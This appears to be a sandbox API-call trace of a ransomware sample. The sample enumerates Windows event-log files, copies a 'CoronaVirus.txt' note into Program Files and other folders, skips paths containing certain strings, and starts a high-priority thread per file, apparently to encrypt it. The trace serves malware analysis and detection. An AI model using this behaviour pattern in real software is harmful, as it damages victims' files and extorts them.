	[0083.629] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-International%4Operational.evtx", cAlternateFileName="MI854A~1.EVT")) returned 1
	[0083.629] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.629] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.629] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx", cAlternateFileName="MI32CE~1.EVT")) returned 1
	[0083.629] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.629] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.629] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cAlternateFileName="MIA934~1.EVT")) returned 1
	[0083.629] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.629] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.629] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cAlternateFileName="MIB32D~1.EVT")) returned 1
	[0083.629] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.629] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.629] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cAlternateFileName="MICA77~1.EVT")) returned 1
	[0083.629] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.629] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.629] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cAlternateFileName="MI1E8D~1.EVT")) returned 1
	[0083.629] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.629] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.629] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cAlternateFileName="MID067~1.EVT")) returned 1
	[0083.630] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.630] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.630] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cAlternateFileName="MIDE4D~1.EVT")) returned 1
	[0083.630] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.630] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.630] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cAlternateFileName="MI36C5~1.EVT")) returned 1
	[0083.630] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.630] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.630] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Known Folders API Service.evtx", cAlternateFileName="MI86D6~1.EVT")) returned 1
	[0083.630] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.630] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.630] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-LiveId%4Operational.evtx", cAlternateFileName="MI4C58~1.EVT")) returned 1
	[0083.630] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.630] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.630] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Admin.evtx", cAlternateFileName="MI30D3~1.EVT")) returned 1
	[0083.630] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.630] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.630] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Operational.evtx", cAlternateFileName="MI6F01~1.EVT")) returned 1
	[0083.630] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.630] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.630] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NCSI%4Operational.evtx", cAlternateFileName="MI483C~1.EVT")) returned 1
	[0083.630] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.630] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.630] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx", cAlternateFileName="MIFC66~1.EVT")) returned 1
	[0083.630] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.630] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.630] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx", cAlternateFileName="MI6E98~1.EVT")) returned 1
	[0083.630] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.630] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.630] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx", cAlternateFileName="MIB2AC~1.EVT")) returned 1
	[0083.630] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.631] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.631] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cAlternateFileName="MI6AFE~1.EVT")) returned 1
	[0083.631] wcsncmp (_String1="M", _String2=".", _MaxCount=0x1) returned 31
	[0083.631] wcsncmp (_String1="Mi", _String2="..", _MaxCount=0x2) returned 31
	[0083.633] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\PerfLogs\\CoronaVirus.txt" (normalized: "c:\\perflogs\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.637] _alloca_probe () returned 0x4036d0
	[0083.638] malloc (_Size=0x1000) returned 0x2f586c8
	[0083.639] _swprintf (in: param_1=0x2f586c8, param_2="%s\\%s" | out: param_1="C:\\PerfLogs\\CoronaVirus.txt") returned 27
	[0083.639] wcsstr (_Str="C:\\PerfLogs\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.639] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\CoronaVirus.txt" (normalized: "c:\\program files\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.648] _alloca_probe () returned 0x4036d0
	[0083.648] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.650] _alloca_probe () returned 0x4036d0
	[0083.651] malloc (_Size=0x1000) returned 0x2f596d0
	[0083.651] _swprintf (in: param_1=0x2f596d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\CoronaVirus.txt") returned 45
	[0083.651] wcsstr (_Str="C:\\Program Files\\Common Files\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.651] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\DESIGNER\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\designer\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.654] _alloca_probe () returned 0x4036d0
	[0083.654] malloc (_Size=0x1000) returned 0x2f5a6d8
	[0083.655] _swprintf (in: param_1=0x2f5a6d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\DESIGNER\\CoronaVirus.txt") returned 54
	[0083.655] wcsstr (_Str="C:\\Program Files\\Common Files\\DESIGNER\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.655] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.657] _alloca_probe () returned 0x4036d0
	[0083.658] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.665] _alloca_probe () returned 0x4036d0
	[0083.669] malloc (_Size=0x1000) returned 0x2f556b0
	[0083.669] _swprintf (in: param_1=0x2f556b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0083.669] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.669] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml", _SubStr="wasse") returned 0x0
	[0083.669] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml", _SubStr="passw") returned 0x0
	[0083.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f556b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0
	[0083.670] SetThreadPriority (hThread=0x4f0, nPriority=15) returned 1
	[0083.672] malloc (_Size=0x1000) returned 0x2f5b6e0
	[0083.672] _swprintf (in: param_1=0x2f5b6e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\CoronaVirus.txt") returned 73
	[0083.672] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.672] malloc (_Size=0x1000) returned 0x2f5c6e8
	[0083.683] _swprintf (in: param_1=0x2f5c6e8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0083.684] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.685] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml", _SubStr="wasse") returned 0x0
	[0083.685] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml", _SubStr="passw") returned 0x0
	[0083.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f5c6e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504
	[0083.694] SetThreadPriority (hThread=0x504, nPriority=15) returned 1
	[0083.697] malloc (_Size=0x1000) returned 0x2f556b0
	[0083.697] _swprintf (in: param_1=0x2f556b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0083.700] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.700] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml", _SubStr="wasse") returned 0x0
	[0083.700] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml", _SubStr="passw") returned 0x0
	[0083.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f556b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c
	[0083.700] SetThreadPriority (hThread=0x50c, nPriority=15) returned 1
	[0083.704] malloc (_Size=0x1000) returned 0x2f5d6f0
	[0083.704] _swprintf (in: param_1=0x2f5d6f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\CoronaVirus.txt") returned 62
	[0083.704] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.705] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.712] _alloca_probe () returned 0x4036d0
	[0083.713] malloc (_Size=0x1000) returned 0x2f556b0
	[0083.713] _swprintf (in: param_1=0x2f556b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0083.713] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.713] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml", _SubStr="wasse") returned 0x0
	[0083.713] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml", _SubStr="passw") returned 0x0
	[0083.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f556b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510
	[0083.713] SetThreadPriority (hThread=0x510, nPriority=15) returned 1
	[0083.715] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.722] _alloca_probe () returned 0x4036d0
	[0083.723] malloc (_Size=0x1000) returned 0x2f556b0
	[0083.723] _swprintf (in: param_1=0x2f556b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\CoronaVirus.txt") returned 72
	[0083.723] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.723] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.738] _alloca_probe () returned 0x4036d0
	[0083.739] malloc (_Size=0x1000) returned 0x2f5e6f8
	[0083.739] _swprintf (in: param_1=0x2f5e6f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\CoronaVirus.txt") returned 72
	[0083.739] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.739] malloc (_Size=0x1000) returned 0x2f5f700
	[0083.739] _swprintf (in: param_1=0x2f5f700, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0083.739] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.739] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml", _SubStr="wasse") returned 0x0
	[0083.739] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml", _SubStr="passw") returned 0x0
	[0083.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f5f700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc
	[0083.740] SetThreadPriority (hThread=0x4bc, nPriority=15) returned 1
	[0083.741] malloc (_Size=0x1000) returned 0x2f60708
	[0083.742] _swprintf (in: param_1=0x2f60708, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\CoronaVirus.txt") returned 66
	[0083.742] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.743] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.745] _alloca_probe () returned 0x4036d0
	[0083.745] malloc (_Size=0x1000) returned 0x2f5f700
	[0083.745] _swprintf (in: param_1=0x2f5f700, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\CoronaVirus.txt") returned 72
	[0083.745] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.746] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.748] _alloca_probe () returned 0x4036d0
	[0083.748] malloc (_Size=0x1000) returned 0x2f61710
	[0083.748] _swprintf (in: param_1=0x2f61710, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\CoronaVirus.txt") returned 72
